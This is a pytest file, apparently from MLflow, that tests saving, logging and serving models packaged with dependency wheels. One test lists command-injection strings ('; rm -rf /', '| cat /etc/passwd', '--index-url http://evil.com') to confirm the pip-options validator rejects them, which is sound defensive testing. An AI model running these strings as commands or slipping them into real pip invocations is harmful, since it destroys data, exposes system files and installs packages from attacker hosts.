509 lines
18 KiB
Python
509 lines
18 KiB
Python
import os
|
|
import random
|
|
import re
|
|
from io import BytesIO
|
|
from typing import Any, NamedTuple
|
|
from unittest import mock
|
|
|
|
import numpy as np
|
|
import pandas as pd
|
|
import pytest
|
|
import sklearn.linear_model as logreg_module
|
|
import yaml
|
|
from sklearn import datasets
|
|
|
|
import mlflow
|
|
import mlflow.pyfunc.scoring_server as pyfunc_scoring_server
|
|
from mlflow.exceptions import MlflowException
|
|
from mlflow.models.model import METADATA_FILES
|
|
from mlflow.models.utils import load_serving_example
|
|
from mlflow.models.wheeled_model import _ORIGINAL_REQ_FILE_NAME, _WHEELS_FOLDER_NAME, WheeledModel
|
|
from mlflow.pyfunc.model import MLMODEL_FILE_NAME, Model
|
|
from mlflow.store.artifact.utils.models import _improper_model_uri_msg
|
|
from mlflow.tracking.artifact_utils import _download_artifact_from_uri
|
|
from mlflow.utils.environment import (
|
|
_CONDA_ENV_FILE_NAME,
|
|
_REQUIREMENTS_FILE_NAME,
|
|
_is_pip_deps,
|
|
_mlflow_conda_env,
|
|
)
|
|
|
|
from tests.helper_functions import (
|
|
_is_available_on_pypi,
|
|
_mlflow_major_version_string,
|
|
pyfunc_serve_and_score_model,
|
|
)
|
|
|
|
EXTRA_PYFUNC_SERVING_TEST_ARGS = (
|
|
[] if _is_available_on_pypi("scikit-learn", module="sklearn") else ["--env-manager", "local"]
|
|
)
|
|
|
|
|
|
class ModelWithData(NamedTuple):
|
|
model: Any
|
|
inference_data: Any
|
|
|
|
|
|
@pytest.fixture(scope="module")
|
|
def sklearn_knn_model():
|
|
iris = datasets.load_iris()
|
|
X = iris.data[:, :2] # we only take the first two features.
|
|
y = iris.target
|
|
logreg_model = logreg_module.LogisticRegression()
|
|
logreg_model.fit(X, y)
|
|
return ModelWithData(model=logreg_model, inference_data=X)
|
|
|
|
|
|
def random_int(lo=1, hi=1000000000):
|
|
return random.randint(int(lo), int(hi))
|
|
|
|
|
|
def _get_list_from_file(path):
|
|
with open(path) as file:
|
|
return file.read().splitlines()
|
|
|
|
|
|
def _get_pip_requirements_list(path):
|
|
return _get_list_from_file(path)
|
|
|
|
|
|
def get_pip_requirements_from_conda_file(conda_env_path):
|
|
with open(conda_env_path) as f:
|
|
conda_env = yaml.safe_load(f)
|
|
|
|
conda_pip_requirements_list = []
|
|
dependencies = conda_env.get("dependencies")
|
|
|
|
for dependency in dependencies:
|
|
if _is_pip_deps(dependency):
|
|
conda_pip_requirements_list = dependency["pip"]
|
|
|
|
return conda_pip_requirements_list
|
|
|
|
|
|
def validate_updated_model_file(original_model_config, wheeled_model_config):
|
|
differing_keys = {"run_id", "utc_time_created", "model_uuid", "artifact_path"}
|
|
ignore_keys = {"model_id"}
|
|
|
|
# Compare wheeled model configs with original model config (MLModel files)
|
|
for key in original_model_config.keys() - ignore_keys:
|
|
if key not in differing_keys:
|
|
assert wheeled_model_config[key] == original_model_config[key]
|
|
else:
|
|
assert wheeled_model_config[key] != original_model_config[key]
|
|
|
|
# Wheeled model key should only exist in wheeled_model_config
|
|
assert wheeled_model_config.get(_WHEELS_FOLDER_NAME, None)
|
|
assert not original_model_config.get(_WHEELS_FOLDER_NAME, None)
|
|
|
|
# Every key in the original config should also exist in the wheeled config.
|
|
for key in original_model_config:
|
|
assert key in wheeled_model_config
|
|
|
|
|
|
def validate_updated_conda_dependencies(original_model_path, wheeled_model_path):
|
|
# Check if conda.yaml files of the original model and wheeled model are the same
|
|
# excluding the dependencies
|
|
wheeled_model_path = os.path.join(wheeled_model_path, _CONDA_ENV_FILE_NAME)
|
|
original_conda_env_path = os.path.join(original_model_path, _CONDA_ENV_FILE_NAME)
|
|
|
|
with (
|
|
open(wheeled_model_path) as wheeled_conda_env,
|
|
open(original_conda_env_path) as original_conda_env,
|
|
):
|
|
wheeled_conda_env = yaml.safe_load(wheeled_conda_env)
|
|
original_conda_env = yaml.safe_load(original_conda_env)
|
|
|
|
for key in wheeled_conda_env:
|
|
if key != "dependencies":
|
|
assert wheeled_conda_env[key] == original_conda_env[key]
|
|
else:
|
|
assert wheeled_conda_env[key] != original_conda_env[key]
|
|
|
|
|
|
def validate_wheeled_dependencies(wheeled_model_path):
|
|
# Check if conda.yaml and requirements.txt are consistent
|
|
pip_requirements_path = os.path.join(wheeled_model_path, _REQUIREMENTS_FILE_NAME)
|
|
pip_requirements_list = _get_pip_requirements_list(pip_requirements_path)
|
|
conda_pip_requirements_list = get_pip_requirements_from_conda_file(
|
|
os.path.join(wheeled_model_path, _CONDA_ENV_FILE_NAME)
|
|
)
|
|
|
|
pip_requirements_list.sort()
|
|
conda_pip_requirements_list.sort()
|
|
assert pip_requirements_list == conda_pip_requirements_list
|
|
|
|
# Check if requirements.txt and wheels directory are consistent
|
|
wheels_dir = os.path.join(wheeled_model_path, _WHEELS_FOLDER_NAME)
|
|
wheels_list = []
|
|
for wheel_file in os.listdir(wheels_dir):
|
|
if wheel_file.endswith(".whl"):
|
|
relative_wheel_path = os.path.join(_WHEELS_FOLDER_NAME, wheel_file)
|
|
wheels_list.append(relative_wheel_path)
|
|
|
|
wheels_list.sort()
|
|
assert wheels_list == pip_requirements_list
|
|
|
|
|
|
def test_model_log_load(tmp_path, sklearn_knn_model):
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
wheeled_model_uri = f"models:/{model_name}/2"
|
|
artifact_path = "model"
|
|
|
|
# Log a model
|
|
with mlflow.start_run():
|
|
mlflow.sklearn.log_model(
|
|
sklearn_knn_model.model,
|
|
name=artifact_path,
|
|
registered_model_name=model_name,
|
|
)
|
|
model_path = _download_artifact_from_uri(model_uri, tmp_path)
|
|
original_model_config = Model.load(os.path.join(model_path, MLMODEL_FILE_NAME)).__dict__
|
|
|
|
# Re-log with wheels
|
|
with mlflow.start_run():
|
|
WheeledModel.log_model(model_uri=model_uri)
|
|
wheeled_model_path = _download_artifact_from_uri(wheeled_model_uri)
|
|
wheeled_model_run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
|
|
wheeled_model_config = Model.load(
|
|
os.path.join(wheeled_model_path, MLMODEL_FILE_NAME)
|
|
).__dict__
|
|
|
|
validate_updated_model_file(original_model_config, wheeled_model_config)
|
|
# Assert correct run_id
|
|
assert wheeled_model_config["run_id"] == wheeled_model_run_id
|
|
|
|
validate_updated_conda_dependencies(model_path, wheeled_model_path)
|
|
|
|
validate_wheeled_dependencies(wheeled_model_path)
|
|
|
|
|
|
def test_model_save_load(tmp_path, sklearn_knn_model):
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
artifact_path = "model"
|
|
model_download_path = os.path.join(tmp_path, "m")
|
|
wheeled_model_path = os.path.join(tmp_path, "wm")
|
|
|
|
os.mkdir(model_download_path)
|
|
# Log a model
|
|
with mlflow.start_run():
|
|
mlflow.sklearn.log_model(
|
|
sklearn_knn_model.model,
|
|
name=artifact_path,
|
|
registered_model_name=model_name,
|
|
)
|
|
model_path = _download_artifact_from_uri(model_uri, model_download_path)
|
|
original_model_config = Model.load(os.path.join(model_path, MLMODEL_FILE_NAME)).__dict__
|
|
|
|
# Save with wheels
|
|
with mlflow.start_run():
|
|
wheeled_model = WheeledModel(model_uri=model_uri)
|
|
wheeled_model_data = wheeled_model.save_model(path=wheeled_model_path)
|
|
wheeled_model_config = Model.load(os.path.join(wheeled_model_path, MLMODEL_FILE_NAME))
|
|
wheeled_model_config_dict = wheeled_model_config.__dict__
|
|
|
|
# Check to see if python model returned is the same as the MLModel file
|
|
assert wheeled_model_config == wheeled_model_data
|
|
|
|
validate_updated_model_file(original_model_config, wheeled_model_config_dict)
|
|
validate_updated_conda_dependencies(model_path, wheeled_model_path)
|
|
validate_wheeled_dependencies(wheeled_model_path)
|
|
|
|
|
|
def test_logging_and_saving_wheeled_model_throws(tmp_path, sklearn_knn_model):
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
wheeled_model_uri = f"models:/{model_name}/2"
|
|
artifact_path = "model"
|
|
|
|
# Log a model
|
|
with mlflow.start_run():
|
|
mlflow.sklearn.log_model(
|
|
sklearn_knn_model.model,
|
|
name=artifact_path,
|
|
registered_model_name=model_name,
|
|
)
|
|
|
|
# Re-log with wheels
|
|
with mlflow.start_run():
|
|
WheeledModel.log_model(
|
|
model_uri=model_uri,
|
|
)
|
|
|
|
match = "Model libraries are already added"
|
|
|
|
# Log wheeled model
|
|
with pytest.raises(MlflowException, match=re.escape(match)):
|
|
with mlflow.start_run():
|
|
WheeledModel.log_model(
|
|
model_uri=wheeled_model_uri,
|
|
)
|
|
|
|
# Saved a wheeled model
|
|
saved_model_path = os.path.join(tmp_path, "test")
|
|
with pytest.raises(MlflowException, match=re.escape(match)):
|
|
with mlflow.start_run():
|
|
WheeledModel(wheeled_model_uri).save_model(saved_model_path)
|
|
|
|
|
|
def test_log_model_with_non_model_uri():
|
|
model_uri = "runs:/beefe0b6b5bd4acf9938244cdc006b64/model"
|
|
|
|
# Log with wheels
|
|
with pytest.raises(MlflowException, match=_improper_model_uri_msg(model_uri)):
|
|
with mlflow.start_run():
|
|
WheeledModel.log_model(
|
|
model_uri=model_uri,
|
|
)
|
|
|
|
# Save with wheels
|
|
with pytest.raises(MlflowException, match=_improper_model_uri_msg(model_uri)):
|
|
with mlflow.start_run():
|
|
WheeledModel(model_uri)
|
|
|
|
|
|
def test_create_pip_requirement(tmp_path):
|
|
expected_mlflow_version = _mlflow_major_version_string()
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
conda_env_path = os.path.join(tmp_path, "conda.yaml")
|
|
pip_reqs_path = os.path.join(tmp_path, "requirements.txt")
|
|
|
|
wm = WheeledModel(model_uri)
|
|
|
|
expected_pip_deps = [expected_mlflow_version, "cloudpickle==2.1.0", "psutil==5.8.0"]
|
|
_mlflow_conda_env(
|
|
path=conda_env_path, additional_pip_deps=expected_pip_deps, install_mlflow=False
|
|
)
|
|
wm._create_pip_requirement(conda_env_path, pip_reqs_path)
|
|
with open(pip_reqs_path) as f:
|
|
pip_reqs = [x.strip() for x in f]
|
|
assert expected_pip_deps.sort() == pip_reqs.sort()
|
|
|
|
|
|
def test_update_conda_env_only_updates_pip_deps(tmp_path):
|
|
expected_mlflow_version = _mlflow_major_version_string()
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
conda_env_path = os.path.join(tmp_path, "conda.yaml")
|
|
pip_deps = [expected_mlflow_version, "cloudpickle==2.1.0", "psutil==5.8.0"]
|
|
new_pip_deps = ["wheels/mlflow", "wheels/cloudpickle", "wheels/psutil"]
|
|
|
|
wm = WheeledModel(model_uri)
|
|
additional_conda_deps = ["add_conda_deps"]
|
|
additional_conda_channels = ["add_conda_channels"]
|
|
|
|
_mlflow_conda_env(
|
|
conda_env_path,
|
|
additional_conda_deps,
|
|
pip_deps,
|
|
additional_conda_channels,
|
|
install_mlflow=False,
|
|
)
|
|
with open(conda_env_path) as f:
|
|
old_conda_yaml = yaml.safe_load(f)
|
|
wm._update_conda_env(new_pip_deps, conda_env_path)
|
|
with open(conda_env_path) as f:
|
|
new_conda_yaml = yaml.safe_load(f)
|
|
assert old_conda_yaml.get("name") == new_conda_yaml.get("name")
|
|
assert old_conda_yaml.get("channels") == new_conda_yaml.get("channels")
|
|
for old_item, new_item in zip(
|
|
old_conda_yaml.get("dependencies"), new_conda_yaml.get("dependencies")
|
|
):
|
|
if isinstance(old_item, str):
|
|
assert old_item == new_item
|
|
if isinstance(old_item, dict):
|
|
assert old_item.get("pip") == pip_deps
|
|
if isinstance(new_item, dict):
|
|
assert new_item.get("pip") == new_pip_deps
|
|
|
|
|
|
def test_serving_wheeled_model(sklearn_knn_model):
|
|
model_name = f"wheels-test-{random_int()}"
|
|
model_uri = f"models:/{model_name}/1"
|
|
wheeled_model_uri = f"models:/{model_name}/2"
|
|
artifact_path = "model"
|
|
(model, inference_data) = sklearn_knn_model
|
|
|
|
# Log a model
|
|
with mlflow.start_run():
|
|
model_info = mlflow.sklearn.log_model(
|
|
model,
|
|
name=artifact_path,
|
|
registered_model_name=model_name,
|
|
input_example=pd.DataFrame(inference_data),
|
|
)
|
|
|
|
# Re-log with wheels
|
|
with mlflow.start_run():
|
|
WheeledModel.log_model(model_uri=model_uri)
|
|
|
|
inference_payload = load_serving_example(model_info.model_uri)
|
|
resp = pyfunc_serve_and_score_model(
|
|
wheeled_model_uri,
|
|
data=inference_payload,
|
|
content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
|
|
extra_args=EXTRA_PYFUNC_SERVING_TEST_ARGS,
|
|
)
|
|
scores = pd.read_json(BytesIO(resp.content), orient="records").values.squeeze()
|
|
np.testing.assert_array_almost_equal(scores, model.predict(inference_data))
|
|
|
|
|
|
def test_wheel_download_works(tmp_path):
|
|
simple_dependency = "cloudpickle"
|
|
requirements_file = os.path.join(tmp_path, "req.txt")
|
|
wheel_dir = os.path.join(tmp_path, "wheels")
|
|
with open(requirements_file, "w") as req_file:
|
|
req_file.write(simple_dependency)
|
|
|
|
WheeledModel._download_wheels(requirements_file, wheel_dir)
|
|
wheels = os.listdir(wheel_dir)
|
|
assert len(wheels) == 1 # Only a single wheel is downloaded
|
|
assert wheels[0].endswith(".whl") # Type is wheel
|
|
assert simple_dependency in wheels[0] # Cloudpickle wheel downloaded
|
|
|
|
|
|
def test_wheel_download_override_option_works(tmp_path, monkeypatch):
|
|
dependency = "pyspark"
|
|
requirements_file = os.path.join(tmp_path, "req.txt")
|
|
wheel_dir = os.path.join(tmp_path, "wheels")
|
|
with open(requirements_file, "w") as req_file:
|
|
req_file.write(dependency)
|
|
|
|
# Default option fails to download wheel
|
|
with pytest.raises(
|
|
MlflowException, match="An error occurred while downloading the dependency wheels"
|
|
):
|
|
WheeledModel._download_wheels(requirements_file, wheel_dir)
|
|
|
|
# Set option override
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
|
|
WheeledModel._download_wheels(requirements_file, wheel_dir)
|
|
assert len(os.listdir(wheel_dir)) # Wheel dir is not empty
|
|
|
|
|
|
def test_wheel_download_dependency_conflicts(tmp_path):
|
|
reqs_file = tmp_path / "requirements.txt"
|
|
reqs_file.write_text("mlflow==2.15.0\nmlflow==2.16.0")
|
|
with pytest.raises(
|
|
MlflowException,
|
|
# Ensure the error message contains conflict details
|
|
match=r"Cannot install mlflow==2\.15\.0 and mlflow==2\.16\.0.+The conflict is caused by",
|
|
):
|
|
WheeledModel._download_wheels(reqs_file, tmp_path / "wheels")
|
|
|
|
|
|
def test_copy_metadata(mock_is_in_databricks, sklearn_knn_model):
|
|
with mlflow.start_run():
|
|
mlflow.sklearn.log_model(
|
|
sklearn_knn_model.model,
|
|
name="model",
|
|
registered_model_name="sklearn_knn_model",
|
|
)
|
|
|
|
with mlflow.start_run():
|
|
model_info = WheeledModel.log_model(model_uri="models:/sklearn_knn_model/1")
|
|
|
|
artifact_path = mlflow.artifacts.download_artifacts(model_info.model_uri)
|
|
metadata_path = os.path.join(artifact_path, "metadata")
|
|
if mock_is_in_databricks.return_value:
|
|
assert set(os.listdir(metadata_path)) == set(METADATA_FILES + [_ORIGINAL_REQ_FILE_NAME])
|
|
else:
|
|
assert not os.path.exists(metadata_path)
|
|
assert mock_is_in_databricks.call_count == 2
|
|
|
|
|
|
def test_wheel_download_prevents_command_injection(tmp_path, monkeypatch):
|
|
malicious_attempts = [
|
|
"--only-binary=:all: && echo pwned",
|
|
"--prefer-binary; rm -rf /",
|
|
"--no-binary=:none: | cat /etc/passwd",
|
|
"../../../etc/passwd",
|
|
"--extra-index-url http://evil.com",
|
|
"--find-links /tmp",
|
|
"--index-url http://malicious.com",
|
|
"--trusted-host evil.com",
|
|
"--only-binary=package`rm -rf /`",
|
|
"--config-settings malicious=value",
|
|
]
|
|
|
|
for malicious_option in malicious_attempts:
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", malicious_option)
|
|
with pytest.raises(MlflowException, match="Invalid pip wheel option"):
|
|
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
|
|
|
|
|
|
def test_wheel_download_allowed_options(tmp_path, monkeypatch):
|
|
allowed_options = [
|
|
"--only-binary=:all:",
|
|
"--only-binary=:none:",
|
|
"--no-binary=:all:",
|
|
"--no-binary=:none:",
|
|
"--prefer-binary",
|
|
"--no-build-isolation",
|
|
"--use-pep517",
|
|
"--check-build-dependencies",
|
|
"--ignore-requires-python",
|
|
"--no-deps",
|
|
"--no-verify",
|
|
"--pre",
|
|
"--require-hashes",
|
|
"--no-clean",
|
|
]
|
|
|
|
for option in allowed_options:
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", option)
|
|
with mock.patch("subprocess.run") as mock_run:
|
|
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
|
|
mock_run.assert_called_once()
|
|
assert option in mock_run.call_args[0][0]
|
|
|
|
# test combination of options
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary --no-clean")
|
|
with mock.patch("subprocess.run") as mock_run:
|
|
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels")
|
|
mock_run.assert_called_once()
|
|
call_args = mock_run.call_args
|
|
assert "--prefer-binary --no-clean" in call_args[0][0]
|
|
|
|
|
|
def test_wheel_download_extra_envs(tmp_path, monkeypatch):
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
|
|
extra_envs = {
|
|
"PIP_INDEX_URL": "https://test.pypi.org/simple/",
|
|
"PIP_TRUSTED_HOST": "test.pypi.org",
|
|
"CUSTOM_VAR": "test_value",
|
|
}
|
|
|
|
with mock.patch("subprocess.run") as mock_run:
|
|
mock_run.return_value = mock.Mock(returncode=0)
|
|
|
|
WheeledModel._download_wheels(
|
|
tmp_path / "req.txt", tmp_path / "wheels", extra_envs=extra_envs
|
|
)
|
|
|
|
mock_run.assert_called_once()
|
|
call_args = mock_run.call_args
|
|
assert "--prefer-binary" in call_args[0][0]
|
|
passed_env = call_args[1]["env"]
|
|
assert passed_env["PIP_INDEX_URL"] == "https://test.pypi.org/simple/"
|
|
assert passed_env["PIP_TRUSTED_HOST"] == "test.pypi.org"
|
|
assert passed_env["CUSTOM_VAR"] == "test_value"
|
|
|
|
# Verify original environment variables are preserved
|
|
assert passed_env["PATH"] == os.environ["PATH"]
|
|
|
|
|
|
def test_wheel_download_no_extra_envs(tmp_path, monkeypatch):
|
|
monkeypatch.setenv("MLFLOW_WHEELED_MODEL_PIP_DOWNLOAD_OPTIONS", "--prefer-binary")
|
|
|
|
with mock.patch("subprocess.run") as mock_run:
|
|
mock_run.return_value = mock.Mock(returncode=0)
|
|
|
|
WheeledModel._download_wheels(tmp_path / "req.txt", tmp_path / "wheels", extra_envs=None)
|
|
mock_run.assert_called_once()
|
|
call_args = mock_run.call_args
|
|
assert call_args[1]["env"] is None
|